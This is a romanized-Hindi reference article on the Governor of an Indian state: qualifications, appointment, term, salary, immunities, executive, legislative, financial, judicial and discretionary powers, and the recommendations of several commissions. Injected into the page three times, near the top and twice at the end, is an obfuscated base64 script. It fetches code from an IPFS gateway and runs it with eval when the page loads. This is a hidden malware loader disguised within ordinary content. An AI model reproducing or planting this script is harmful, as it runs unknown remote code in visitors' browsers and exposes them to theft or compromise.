राज्यपाल

bharat ka sanvidhan sanghatmak hai. isamean sangh tatha rajyoan ke shasan ke sambandh mean pravadhan kiya gaya hai. sanvidhan ke bhag 6 mean rajy shasan ke lie pravadhan hai. yah pravadhan jammoo-kashmir ko chho dakar sabhi rajyoan ke lie lagoo hota hai. jammoo-kashmir ki vishesh sthiti ke karan usake lie alag sanvidhan hai. sangh ki tarah rajy ki bhi shasan paddhati sansadiy hai. rajy ki karyapalika ka pramukh rajyapal hota hai, jo ki mantriparishad ki salah ke anusar kary karata hai. kuchh mamaloan mean rajyapal ko vivekadhikar diya gaya hai, aise mamale mean vah mantriparishad ki salah ke bina kary karata hai.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rajyapal ki yogyata

anuchchhed 157 ke anusar rajyapal pad par niyukt kiye jane vale vyakti mean nimnalikhit yogyataoan ka hona anivary hai–

1. vah bharat ka nagarik ho
2. vah 35 varsh ki ayu poori kar chuka ho
3. vah rajy sarakar ya kendr sarakar ya in rajyoan ke niyantran ke adhin kisi sarvajanik upakram mean labh ke pad par n ho
4. vah rajy vidhanasabha ka sadasy chune jane ke yogy ho.

rajyapal ki niyukti

sanvidhan ke anuchchhed 155 ke anusar- rajyapal ki niyukti rashtrapati ke dvara pratyaksh roop se ki jaegi, kintu vastav mean rajyapal ki niyukti rashtrapati ke dvara pradhanamantri ki sifarish par ki jati hai. rajyapal ki niyukti ke sambandh mean nimn do prakar ki prathaean ban gayi thian-

1. kisi vyakti ko us rajy ka rajyapal nahian niyukt kiya jaega, jisaka vah nivasi hai.
2. rajyapal ki niyukti se pahale sambandhit rajy ke mukhyamantri se vichar vimarsh kiya jaega.
   

yah pratha 1950 se 1967 tak apanayi gayi, lekin 1967 ke chunavoan mean jab kuchh rajyoan mean gair kaangresi sarakaroan ka gathan hua, tab doosari pratha ko samapt kar diya gaya aur mukhyamantri se vichar vimarsh kie bina rajyapal ki niyukti ki jane lagi.

rajyapal ki kary avadhi

yadyapi rajyapal ki kary avadhi usake pad grahan ki tithi se paanch varsh tak hoti hai, lekin is paanch varsh ki avadhi ke samapan ke bad vah tab tak apane pad par bana rahata hai, jab tak usaka uttaradhikari pad nahian grahan kar leta. jab rajyapal paanch varsh ki avadhi ki samapti ke bad pad par rahata hai, tab vah pratidin ke vetan ke adhar par pad par bana rahata hai. aise kee udaharan hai, jab rajyapal apane uttaradhikari ki niyukti n kiye jane ke karan apane pad par bane rahe haian. in udaharanoan mean hariyana ke rajyapal 'bi. en. chakravarti' ka udaharan mahattvapoorn hai, kyoanki ye apani padavadhi ke samapan ke bad uttaradhikari ki niyukti n hone ke karan 3 varsh tak pratidin ke vetan ke adhar par pad par bane rahe the.

isake atirikt rajyapal apani padavadhi ki samapti ke poorv rashtrapati ko tyagapatr dekar apana pad chho d bhi sakata hai ya rashtrapati use padamukt kar sakate haian. udaharanarth, 1980 mean tamilanadu ke rajyapal prabhudas patavari tatha 1981 mean rajasthan ke rajyapal 'raghukul tilak' tatha 1992 mean nagalaiannd ke rajyapal 'em. em. th aaumas' ko rashtrapati ne barkhast kar diya tha. isake atirikt kee bar rajyapaloan ko tyagapatr dene ke lie vivash kiya gaya hai ya unase tyagapatr maang liya gaya hai.

shapath grahan

rajyapal ko sambandhit rajy ke uchch nyayalay ka mukhy nyayadhish pad evan gopaniyata ki shapath dilata hai.

vetan evan bhatte

11 sitambar, 2008 ko liye gaye nirnay ke anusar rajyapal ka vetan 36,000 rupaye se badhakar 1.10 lakh rupaye pratimah kar diya gaya hai. yah vetanaman janavari, 2006 se prabhavi mana gaya hai. isake poorv 10 janavari, 2008 ko kendriy mantrimandal ne rajyapal ka vetan 75,000 rupaye pratimah karane ka nirnay liya tha. rajyapal aise bhatte ka bhi hakadar hai, jise sansad ke dvara niyat kiya jae. isake atirikt use rahane ke lie sarakari avas milata hai. jisake liye use kiraya nahian dena p data. yadi do ya do se adhik rajyoan ka ek hi rajyapal hai, tab use donoan rajyapaloan ka vetan us anupat mean diya jaega, jaisa ki rashtrapati nirdharit kareange.

sthanantaran

sanvidhan mean rajyapal ke sthanantaran ke lie koee vyavastha nahian hai, lekin rajyapal ka sthanantaran kiya jata hai aur yah kuchh had tak ek pratha ban gayi hai. kendr mean sattaroodh bharatiy janata parti gathabandhan ki sarakar ne march, 1998 mean bihar ke rajyapal 'd aau. e. ar. kidavee' ko sthanantarit kar pashchim bangal ka rajyapal niyukt kiya tha.

unmuktiyaan tatha visheshadhikar

rajyapal ko nimnalikhit visheshadhikar tatha unmuktiyaan prapt haian–

1. vah apane pad ki shaktiyoan ke prayog tatha kartavyoan ke palan ke lie kisi nyayalay ke prati uttaradayi nahian hai.
2. rajyapal ki padavadhi ke dauran usake viruddh kisi bhi nyayalay mean kisi bhi prakar ki aparadhik karyavahi prarambh nahian ki ja sakati.
3. jab vah pad par aroodh ho, tab usaki giraphtari ya karavas ke lie kisi bhi nyayalay se koee adeshika jari nahian ki ja sakati.
4. rajyapal ka pad grahan karane se poorv ya pashchath usake dvara vyaktigat kshamata mean kiye gaye kary ke sambandh mean koee sivil karyavahi karane ke pahale use do mas poorv soochana deni p dati hai.

shakti tatha kary

jis prakar kendr mean karyapalika ki shakti rashtrapati mean nihit hai, usi prakar rajy mean karyapalika ki shakti rajyapal mean nihit hai. rajyapal ki shaktiyaan tatha isake kary nimnalikhit haian–

karyapalika sambandhi kary

anuchchhed 154 ke anusar rajyapal ke pas karyapalika sambandhi nimnalikhit kary haian–

• rajyapal rajy sarakar ke prashasan ka adhyaksh hai tatha rajy ki karyapalika sambandhi shakti ka prayog vah apane adhinasth pradhikariyoan ke madhyam se karata hai. vah sarakar ki karyavahi sambandhi niyam banata hai tatha mantriyoan mean karyoan ka vibhajan karata hai.
• rajyapal, mukhyamantri tatha mukhyamantri ki salah se usake mantriparishad ke sadasyoan ko niyukt karata hai tatha unhean pad evan gopaniyata ki shapath dilata hai.
• rajyapal, rajy ke uchch adhikariyoan, jaise- mahadhivakta, rajy lok seva ayog ke adhyaksh tatha sadasyoan ki niyukti karata hai tatha rajy ke uchch nyayalayoan mean nyayadhishoan ki niyukti ke sambandh mean rashtrapati ko paramarsh deta hai.
• rajyapal ko yah adhikar hai ki, vah rajy ke prashasan ke sambandh mean mukhyamantri se soochana prapt kare.
• jab rajy ka prashasan sanvaidhanik tantr ke anusar n chalaya ja sake, to rajyapal rashtrapati se rajy mean rashtrapati shasan lagoo karane ki sifarish karata hai. jab rajy mean rashtrapati shasan lagoo kar diya jata hai, tab rajyapal kendr sarakar ke abhikarta ke roop mean rajy ka prashasan chalata hai.
• rajyapal rajy ke vishvavidyalayoan ka kuladhipati hota hai tatha up kulapatiyoan ko bhi niyukt karata hai.

vidhayi adhikar

anuchchhed 174 ke anusar rajyapal ko vidhayi adhikar prapt haian. rajyapal rajy vidhan mandal ka ek abhinn aang hai aur ise vidhayika ke sambandh mean nimnalikhit adhikar prapt haian–

• vah rajy vidhan mandal ke satr ko ahoot kar sakata hai, sthagit kar sakata hai tatha rajy vidhanasabha ko bhang kar sakata hai.
• yadi rajyapal ko aisa pratit ho ki, rajy vidhanasabha mean aangl bharatiy samuday ka pratinidhitv nahian hai, to vah aangl bharatiy samuday ke ek vyakti ko rajy vidhanasabha ke sadasy ke roop mean manonit kar sakata hai. vah rajy vidhan parishad ki kul sadasy sankhya ke sadasy ke ek chhathavean bhag ke lie sadasyoan, jinaka vijnan, sahity, kala, samaj seva, sahakari aandolan adi ke kshetr mean vishesh jnan, anubhav ya yogadan ho, ko niyukt kar sakata hai.
• yadi rajy vidhanasabha ke kisi sadasy ki ayogyata ka prashn utpann hota hai to, ayogyata sambandhi vivad ka nirdharan rajyapal chunav ayog se paramarsh karake karata hai.
• vah samany am chunav ke bad prarambh hone vale tatha pratyek varsh ke pratham vidhanamandal ke pratham satr ko sambodhit karata hai tatha sadanoan ko apana sandesh bhi bhej sakata hai.
• vah rajy vidhan mandal dvara parit kisi vidheyak par hastakshar karata hai aur rajyapal ke hastakshar ke bad hi vidheyak adhiniyam ke roop mean pravritt hota hai.
• rajyapal dhan vidheyak ke atirikt kisi vidheyak ko pun: vichar ke lie rajy vidhan mandal ke pas bhej sakata hai tatha rajy vidhan mandal dvara vidheyak ko pun: parit kiye jane par vah us par apani sahamati dene ke lie badhy hai.
• rajy vidhanasabha mean dhan vidheyak tabhi pesh kiya jata hai, jab rajyapal ne vidheyak pesh karane ke lie apani anumati de di ho.
• vibhinn ayogoan, uchch tatha svayatt sansthaoan ke varshik prativedan rajyapal ko sauanpe jate haian aur vah unhean vichararth rajy vidhanasabha ke samaksh prastut karata hai.
• kuchh vishisht prakar ke vidheyakoan ko rajyapal rashtrapati ke vichar ke lie surakshit rakh sakata hai. jaise–
  

1. vyaktigat sampatti ke anivary adhigrahan se sambandhit vidheyak
2. uchch nyayalay ke kshetradhikar mean kami se sambandhit vidheyak
3. sansad dvara nirmit qanoon ke adhin avashyak ghoshit vastu par kararopan se sambandhit vidheyak
4. samavarti soochi mean ullikhit vishayoan se sambandhit vidheyak (jab sansad dvara nirmit qanoon se sangharsh ki sambhavana ho), tatha
5. any koee vidheyak, jisake karan kendriy sarakar ya any rajyoan ki sarakar se vivad hone ki sambhavana ho.

adhyadesh jari karane ki shakti

anuchchhed 213 ke anusar jab rajy vidhan mandal ya rajy vidhanasabha satr mean n ho tatha sanvidhan ki satavian anusoochi mean antarvisht rajyasoochi mean varnit vishayoan mean se kisi vishay par qanoon banana avashyak ho, tab rajyapal mantriparishad ki salah par adhyadesh jari kar sakata hai. is prakar jari kiya gaya adhyadesh keval 6 mas tak prabhavi rahata hai aur 6 mas ki avadhi samapt hone ke poorv hi rajy vidhanamandal ya rajy vidhanasabha ka satr prarambh ho jae, to adhyadesh ko 6 saptah ke andar vidhanamandal ya vidhanasabha dvara anumodit kiya jana chahie aur yadi 6 saptah ke andar anumodit nahian kiya jata hai to adhyadesh nishprabhavi ho jaega. jin vidheyakoan par rajyapal anumati dene ke poorv unhean rashtrapati ke vichararth arakshit rakhata hai, un vidheyakoan se sambandhit vishay par rajyapal adhyadesh jari nahian kar sakata hai.

vittiy adhikar

sanvidhan dvara rajyapal ko nimnalikhit vittiy adhikar pradan kiye gaye haian–

1. rajyapal ki sifarish ke bina rajy vidhanasabha mean dhan vidheyak ko pesh nahian kiya ja sakata.
2. rajy ki akasmik nidhi se vyay rajyapal ki anumati ke bina nahian kiya ja sakata.
3. rajyapal rajy ke vittamantri ke madhyam se rajy vidhanasabha mean rajy ka varshik bajat pesh karata hai.
4. kisi prakar ke anudan ki maang ko ya karoan ke prastav ko rajyapal ke anumodan se vidhanasabha mean pesh kiya jata hai.

nyayik adhikar

rajyapal ke nyayik adhikar nimnalikhit haian–

1. vah zila nyayadhishoan aur any nyayik adhikariyoan ki niyukti, sthanantaran tatha padonnati se sambandhit mamaloan ka nirnay karata hai. rajyapal is shakti ka prayog uchch nyayalay ke paramarsh se karata hai.
2. vah nyayalay dvara doshasiddh kiye gaye aparadhiyoan ko kshama karane, unake dand ko kam karane ya nilamban karane ya vilambit karane ki shakti rakhata hai. lekin is shakti ka prayog usake dvara usi sima tak kiya ja sakata hai, jis sima tak rajy ki karyapalika shakti ka vistar hai.

vivekadhikar

sanvidhan ke dvara rajyapal ko nimnalikhit vivekadhikar pradan kiya gaya hai–
rajyapal rajy karyapalika ka pramukh hota hai. rajy karyapalika ki shakti usamean nihit hai. jisaka prayog vah apane pradhikariyoan ke madhyam se karata hai. yahaan adhinasth pradhikariyoan ka tatpary mantriparishad se hai. mantriparishad ka adhyaksh mukhyamantri hota hai, jisaki niyukti rajyapal karata hai. mukhyamantri ki salah par rajyapal mantriparishad ke any sadasyoan ki bhi niyukti karata hai. samanyat: rajyapal usi vyakti ko mukhyamantri niyukt karata hai, jo vidhanasabha mean bahumat prapt dal ka neta ho ya jise bahumat prapt karane ke lie kee daloan ka samarthan prapt ho. lekin yadi vidhanasabha mean kisi bhi dal ko spasht bahumat prapt n ho tatha kisi bhi vyakti ko kee daloan ka samarthan prapt n ho ya kee daloan ke gathabandhan ne milakar chunav mean bahumat n prapt kiya ho, to rajyapal mukhyamantri ko niyukt karane mean apane vivek ka prayog karata hai. rajyapaloan dvara mukhyamantri ko niyukt karane mean prayog kiye gaye vivekadhikar se is vivekadhikar ke sambandh mean nimnalikhit do siddhantoan ka vikas hua hai–

• anuman n lagane ka siddhant
  

is siddhant ko "prakasa siddhant" nam se bhi jana jata hai. kyoanki is siddhant ka prayog sabase pahale 1952 mean madras ke rajyapal ka 'prakasa' dvara 1952 mean madras ke chunav ke pashchath kiya gaya tha. is siddhant ke anusar jab am chunav mean kisi bhi dal ko bahumat prapt nahian hota hai, tab rajyapal vidhanasabha ke sabase b de dal ke neta ko mukhyamantri niyukt karata hai. is siddhant ka prayog 1952 mean madras, pepsoo tatha trabanakor kochin mean, 1957 mean u disa mean, 1967 mean rajasthan mean, 1974 mean pandicheri mean, 1982 mean hariyana mean tatha 1988 mean tamilanadu mean kiya gaya tha. lekin yahaan par yah ullekhaniy hai ki is siddhant ka prayog keval tab kiya gaya hai, jab kaangres dal ko sarakar banane ka avasar mila hai. jab any dal ko sarakar banane ka avasar mil raha tha, tab is siddhant ka anusaran nahian kiya gaya. udaharanarth, jab 1957 mean keral mean bharatiy samyavadi dal, 1965 mean keral mean marksavadi samyavadi dal, 1971 mean pashchim bangal mean marksavadi samyavadi dal ko is siddhant ke anusar sarakar banane ka avasar mila tha, tab is siddhant ka anusaran nahian kiya gaya.

• anuman lagane ka siddhant
  

is siddhant ke anusar jab am chunav mean kisi bhi rajanitik dal ko vidhanasabha mean poorn bahumat nahian milata, tab rajyapal anuman lagata hai ki kis dal ka neta sthayi sarakar ka gathan kar sakata hai aur isake adhar par yah nirnay karata hai ki kis neta ko mantrimandal banane ke lie amantrit kiya jae. is siddhant ka prayog 1954 mean travanakor kochin, 1957 tatha 1965 mean keral, 1967 mean uttar pradesh tatha rajasthan, 1969 mean bihar, 1971 mean u disa tatha pashchim bangal, 1974 mean nagalaind, 1975 mean gujarat, 1978 mean maharashtr tatha 1982 mean karnatak mean kiya gaya. rajyapal anuman lagane mean 'list paddhati' tatha 'pared paddhati' ko apanate haian.
(1) list paddhati - rajyapaloan ke dvara list paddhati ka anusaran tab kiya gaya, jab mukhyamantri pad ke ek se adhik davedar the. aisi sthiti mean rajyapal davedaroan se apane samarthakoan ki soochi pesh karane ke lie kahe aur yadi vidhayak ka nam ek se adhik soochiyoan mean paya jae, to rajyapal dvara us vidhayak ka sakshatkar liya jana chahie. udaharanarth, 1967 mean vishvanath das ne uttar pradesh mean, hukum sianh ne rajasthan mean, 1974 mean bi. ke. neharoo ne nagalaind mean tatha 1978 mean sadik ali ne maharashtr mean is paddhati ka prayog kiya tha. lekin kuchh rajyapaloan ne is paddhati ka prayog nahian kiya hai. udaharanarth 1969 tatha 1970 mean bihar mean nityanand qanoon go tatha 1984 mean aandhr pradesh mean ramalal ne list paddhati ka anusaran nahian kiya.
(2) pared paddhati - pared paddhati ke anusar mukhyamantri pad ke davedar apane samarthakoan ki pared rajyapal ke samaksh karavate haian aur pared mean shamil vidhayakoan ke adhar par mukhyamantri ki niyukti ki jati hai. is paddhati ka sabase pahale prayog 1970 mean panjab mean kiya gaya tha. isake bad is paddhati ka prayog 1974 mean manipur mean, 1978 mean bambee tatha 1984 mean jammoo-kashmir mean kiya gaya.

mantriparishad ko bhang karana

rajyapal ko mantriparishad ko bhang karane ka adhikar prapt hai. rajyapal nimnalikhit sthitiyoan mean mantriparishad ko bhang kar sakata hai–

1. jab rajyapal ko vishvas ho jae, ki mantriparishad ka vidhanamandal mean bahumat nahian rah gaya hai.
2. jab mantriparishad ke viruddh vidhanasabha avishvas prastav parit kar de aur mantriparishad tyagapatr n de.
3. jab mantriparishad sanvidhan ke pravadhanoan ke anusar kary n kar raha ho ya mantriparishad ki nitiyoan se rashtr ka ahit sambhavy ho ya kendr se sangharsh hone ki sambhavana ho.
4. jab kisi svatantr adhikaran ne jaanch ke pashchath mukhyamantri ko bhrashtachar man alipt paya ho.

vidhanasabha ka adhiveshan bulana

samanyataya rajyapal mukhyamantri ki salah par vidhanasabha ka adhiveshan bulata hai, lekin yadi asadharan paristhiti utpann ho jaean, tab rajyapal vidhanasabha ka vishesh adhiveshan bula sakata hai.

vidhanasabha ko bhang karana

samanyataya rajyapal mukhyamantri ki salah par hi vidhanasabha ko bhang karata hai, lekin kuchh vishesh paristhitiyoan mean vah mukhyamatri ki salah ke bina bhi vidhanasabha ka bhang kar sakata hai.

mukhyamantri ke viruddh vaidhanik karyavahi

rajyapal karyarat ya bhootapoorv mukhyamantri ke viruddh vaidhanik karyavahi karane ki anumati de sakata hai. yadi vah bhrashtachar ya kisi sh dayantr ya aparadhik kary mean sanlipt ho.

rajyapal ke sambandh mean sifarishean

rajyapal ke sambandh mean nimnalikhit sifarishean apana mahatv rakhati haian-

• prashasanik sudhar ayog ki sifarishean
• rajyapal samiti ka prativedan
• rajamannar samiti riport ki sifarishean
• sarakariya ayog ki sifarishean

prashasanik sudhar ayog ki sifarishean

rajyapal ki niyukti tatha bhoomika ke sambandh mean prashasanik sudhar ayog ki pramukh sifarishean nimnavat haian–

1. aise vyakti ko rajyapal niyukt kiya jana chahie, jisaka sarvajanik jivan aur prashasan ke vishay mean lamba anubhav ho aur jisaka daliy poorvagrahoan se oopar uthane ki kshamata mean vishvas ho. apane karyakal ki samapti par vah dobara rajyapal niyukt kiye jane ke yogy nahian hona chahie. seva nivritt hone ke bad nyayadhishoan ko rajyapal nahian banaya jana chahie. lekin ek nyayadhish, jo sevanivritt hone ke bad sarvajanik jivan mean pravesh karata hai aur vidhayak ban jata hai athava nirvachit pad par hai, to use rajyapal ki niyukti ke lie ayogy nahian manana chahie.
2. rajyapal ki niyukti se poorv mukhyamantri se paramarsh ki parampara ek svasth parampara hai. yah bani rahani chahie.
3. rajyapaloan ke dvara kis prakar svavivek ki shaktiyoan ka prayog kiya jae, is vishay mean nirdesh-sanketoan ko kendr ki svikriti par rashtrapati ke nam se jari kiya jana chahie. unhean sansad ke donoan sadanoan ke samaksh rakha jana chahie.
4. rajyapal ko rashtrapati ke pas pakshik riport bhejane ke sath hi, jab bhi avashyakata ho, tadarth riport bhejani chahie. rashtrapati ko bheji jane vali riport banate samay rajyapal ko svavivek aur svanirnay ke adhar par kam karana chahie. isi prakar rashtrapati ke vichararth vidheyakoan ko surakshit rakhane ke vishay mean bhi svanirnay ka prayog karana chahie.
5. jab bhi rajyapal ke pas yah vishvas karane ka karan ho ki mantrimandal ka vidhanasabha mean bahumat nahian raha hai, to isaka antim nirnay use vidhanasabha ka satr bulakar mantrimandal ke samarthan ko dekhakar karana chahie. jab bhi yah prashn uthe ki mantrimandal ko sadan mean bahumat ka samarthan prapt nahian hai aur mukhyamantri rajyapal ko vidhanasabha ka satr bulane ke uddeshy se, yadi uchit samajhe to vidhanasabha satr ko svayan bula sakata hai.
6. jab koee mantrimandal kisi b de niti nirman sambandhi vishay par sadan mean parajit ho jata hai aur yadi harane vala mukhyamantri rajyasabha bhang karane ki salah deta hai, taki vah matadataoan se nirnay le sake, to rajyapal ko usaki salah man leni chahie. any mamaloan mean vah svavivek ka prayog kar sakata hai.
7. rajyapal ko n keval anuchchhed 167 ke pravadhan ke anukool soochana prapt karani chahie, balki apane sanvaidhanik uttaradayitvoan ko prabhavi taur par poora karane ke lie aisa karana chahie.

rajyapal samiti ka prativedan

prashasanik sudhar ayog ne apane 1969 ke prativedan mean rashtrapati ke nam se un nirdeshoan ko jari karane ki sifarish ki thi, jinake anusar rajyapal svavivek shaktiyoan ka prayog karean. 1970 mean rajyapal sammelan mean is sifarish ko svikar kar liya gaya aur nirdeshoan ko nishchit karane ke lie jammoo kashmir ke tatkalin rajyapal 'bhagavan sahay' ki adhyakshata mean 5 sadasyoan ki samiti gathit ki gayi. samiti ke any sadasy the–bi. gopal reddi, aliyavar jang, vishvanathan tatha em. em. dhavan. is samiti ki pramukh sifarishean nimnalikhit haian–

1. yadi vidhanasabha ka vishvas prapt karane ke vishay mean koee mukhyamantri vidhanasabha ka adhiveshan bulane se inkar karata hai, to rajyapal mantrimandal ko barkhast kar sakata hai.
2. mantrimandal ko vidhanasabha mean bahumat prapt hai ya nahian, isaka nirdharan vidhanasabha ke dvara kiya jana chahie. yadi koee mukhyamantri vidhanasabha dvara bahumat ke prashn ko nirdharit karane se inkar karata hai to yah mana jana chahie ki mantrimandal ko bahumat prapt nahian hai.
3. yadi mukhyamantri ke tyagapatr ya barkhastagi ke bad rajy mean vaikalpik sarakar banane ki sambhavana n ho, to rajyapal ke pas rashtrapati ko vidhanasabha bhang karane ki riport deni chahie.
4. yadi koee vyakti rajy vidhanasabha ka sadasy n ho ya vidhanasabha ka manonit sadasy ho, to use mukhyamantri pad ki shapath nahian dilana chahie.
5. yadi kee daloan ke gathabandhan sarakar ka koee bhagidar dal mukhyamantri se matabhed hone ke karan sarakar se apana samarthan vapas le leta hai, to yah avashyak nahian hai ki mukhmantri tyagapatr de, lekin yadi mukhyamantri ke vidhanasabha ke sambandh mean sandeh utpann hota hai, to usase yah asha ki jati hai ki rajyapal se paramarsh karake yathasambhav shighr vidhanasabha ka adhiveshan bulaye aur vidhanasabha mean apana bahumat sabit kare.
6. rashtrapati sachivalay mean ek vishesh kaksh ki sthapana ki jani chahie aur is kaksh dvara vibhinn rajyoan mean samay-samay par ghatit hone vali rajanitik aur sanvaidhanik ghatanaoan ke sambandh mean adhikadhik soochanaean ekatr ki jani chahie. is kaksh ko vishesh mamaloan ke sambandh mean rashtrapati ki anumati se samast janakari rajyapal ko di jani chahie, jisase rajyapal ko kisi nirnay mean asani ho.
7. rajyapal apane rajy ka adhyaksh hota hai, n ki rashtrapati ka abhikarta aur sanvidhan dvara rajyapal ke kartavy ko nirdharit kiya gaya hai.

rajamannar samiti riport ki sifarishean

is samiti ki pramukh sifarishean nimnalikhit haian–

• rajyapal ki niyukti sadaiv rajy mantrimandal se paramarsh karake ki jani chahie tatha isake lie sadaiv vaikalpik vyavastha yah ho sakati hai ki rajyapal ki niyukti is prayojan ke lie gathit ek uchch shakti prapt sangathan ki salah ke adhar par ki jae.
• ek bar rajyapal pad par rah chuke vyaktiyoan ko isi pad par doosare karyakal athava sarakar ke adhin kisi any pad ke lie ayogy ghoshit kar diya jana chahie. rajyapal ko apane karyakal mean pad se tab tak nahian hataya jana chahie, jab tak uchchatam nyayalay dvara jaanch ke bad usake dvara durvyavahar ya usaki akshamata n sabit ho jae.
• sanvidhan mean vishesh pravadhan shamil kiya jana chahie, jo rashtrapati ko rajyapaloan ke lie nirdesh dene ka adhikar pradan kare. ye likhit nirdesh un mamaloan ke vishay mean disha-nirdesh kareange, jinamean rajyapal ko kendr sarakar se paramarsh karana chahie athava jinamean kendr sarakar use nirdesh de sakati hai. un nirdeshoan ke dvara un siddhantoan ko bhi spasht kiya jana chahie, jinake sandarbh mean rajyapal ko kary karana chahie. in karyoan mean rajy ke pramukh ke roop mean rajyapal ki sanvaidhanik shaktiyoan ke kriyanvayan ka avasar shamil hai.
• sanvidhan mean shamil is pravadhan ko tatkal nikal diya jana chahie ki mantrimandal rajyapal ke prasad ke paryant pad par rahega.
• sanvidhan mean vishesh roop se nimnalikhit nirdeshoan ko shamil karana chahie. jaise-
  

1. rajyapal ko rajy vidhanasabha mean bahumat prapt dal ke neta ko mukhyamantri niyukt karana chahie.
2. jahaan rajyapal ko vidhanasabha mean kisi ek dal ke spasht bahumat ke sambandh mean samadhan n ho, vahaan par rajyapal ko vidhanasabha ka adhiveshan mukhyamantri ke chayan ke lie bulana chahie aur adhiveshan mean chune gaye vyakti ko mukhyamantri niyukt karana chahie.
3. yadi mukhyamantri kisi mantri ko barkhast karane ki salah rajyapal ko deta hai, to use mukhyamantri ki salah man leni chahie.
4. yadi rajyapal ko yah pratit hota hai ki mukhyamantri ne vidhanasabha mean bahumat kho diya hai, to rajyapal ko tatkal vidhanasabha ka adhiveshan bulakar mukhyamantri ko bahumat sabit karane ka nirdesh dena chahie. yadi mukhyamantri bahumat sabit karane mean asaphal rahata hai, to rajyapal ko mukhyamantri ko barkhast kar dena chahie.

sarakariya ayog ki sifarishean

sarakariya ayog ne rajyapal ke sandarbh mean nimn sifarishean ki haian–

1. rajyapal ke roop mean niyukt kiye jane vale vyakti ko rajy, jisamean vah niyukt kiya jae, ke bahar ka vyakti hona chahie tatha use rajy ki rajaniti mean ruchi nahian rakhana chahie.
2. use aisa vyakti hona chahie, jo samany roop se ya vishesh roop se niyukt kiye jane ke pahale rajaniti mean sakriy bhag n le raha ho.
3. rajyapal ka chayan karate samay alpasankhyak varg ke vyaktiyoan ko samuchit avasar diya jana chahie.
4. rajyapal ke roop mean kisi vyakti ka chayan karate samay rajy ke mukhyamantri se prabhavi salah lene ki prakriya ko sanvidhan mean shamil kiya jana chahie.
5. kisi aise vyakti ko rajy ke rajyapal ke roop mean niyukt nahian kiya jana chahie, jo ki kendr mean sattaroodh ka dal ka sadasy ho, jisamean shasan kisi any dal ke dvara chalaya ja raha ho.
6. yadi rajanitik karanoan se kisi rajy ki sanvaidhanik vyavastha toot rahi ho, to rajyapal ko yah dekhana chahie ki kya us rajy mean vidhanasabha mean bahumat vali sarakar ka gathan ho sakata hai.
7. yadi niti sambandhi kisi prashn par rajy ki sarakar vidhanasabha mean parajit ho jati hai to shighr chunav karaye ja sakane ki sthiti mean rajyapal ko chunav tak purane mantrimandal ko karyakari sarakar ke roop mean kary karate rahane dena chahie.
8. yadi rajy sarakar vidhanasabha mean apana bahumat kho deti hai to rajyapal ko sabase b de virodhi dal ko sarakar banane ka amantran dena chahie, aur vidhanasabha mean bahumat sabit karane ka nirdesh dena chahie. yadi sabase b da dal sarakar gathit karane ki sthiti mean n ho, to rajyapal ko rajy mean rashtrapati shasan lagoo karane ki sifarish karani chahie.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>